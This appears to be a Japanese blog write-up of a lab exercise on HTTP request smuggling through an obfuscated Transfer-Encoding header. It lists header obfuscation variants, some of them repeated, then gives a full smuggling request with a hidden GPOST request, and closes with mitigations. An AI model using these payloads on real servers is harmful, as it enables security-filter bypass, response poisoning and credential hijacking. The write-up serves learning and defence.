Hello there, ('ω')ノ
HTTPリクエストの密輸、TEヘッダの難読化を。
フロントエンドサーバとバックエンドサーバがあって。
2つのサーバは重複するHTTPリクエストヘッダーを異なる方法で処理して。
フロントエンドサーバは、GETまたはPOSTメソッド以外のリクエストを拒否して。
ラボを解決するには、リクエストをバックエンドサーバーに密輸して、
バックエンドサーバがGPOSTソッドを使用しているように見えるようにするとか。
まずは、サイトにアクセスして。
Transfer-Encodingヘッダを難読化する方法は、無限にある可能性があって。
例えば：
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Transfer-Encoding
: chunked
難読化されたTransfer-Encodingヘッダを処理しないように誘導できるのが。
フロントエンドサーバかバックエンドサーバかに応じて。
攻撃の残りの部分は、CL-TEまたはTE-CLの脆弱性と同じ形式になって。
この手法を使用すると、Webサイトに重大な損害を与える可能性があって。
セキュリティフィルタのバイパスや通常の応答の置き換え。
資格情報の乗っ取りなどが発生する可能性があって。
下記の場合は、Transfer-Encodingの一方がアクティブになって。
もう一方は、サーバによって無視されて。
「5c」は、16進数の長さで。
10進数として計算すると、結果は92になって。
Host:以下を下記に変更して、Sendすると。
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
さらにもう一度、Snedすると。
クリアできた。
HTTPリクエストの密輸の脆弱性を防ぐ方法は。
バックエンドリクエストの再利用を無効にして。
各バックエンドリクエストが個別のネットワーク接続を介して。
送信されるようにして。
バックエンド接続には、HTTP / 2プロトコルを使用して。
このプロトコルは、要求間の境界に関するあいまいさを回避して。
フロントエンドサーバとバックエンドサーバに。
同じWebサーバーソフトウェアを使用して。
サーバが要求間の境界を認識できるようにして。
Best regards, (^^ゞ
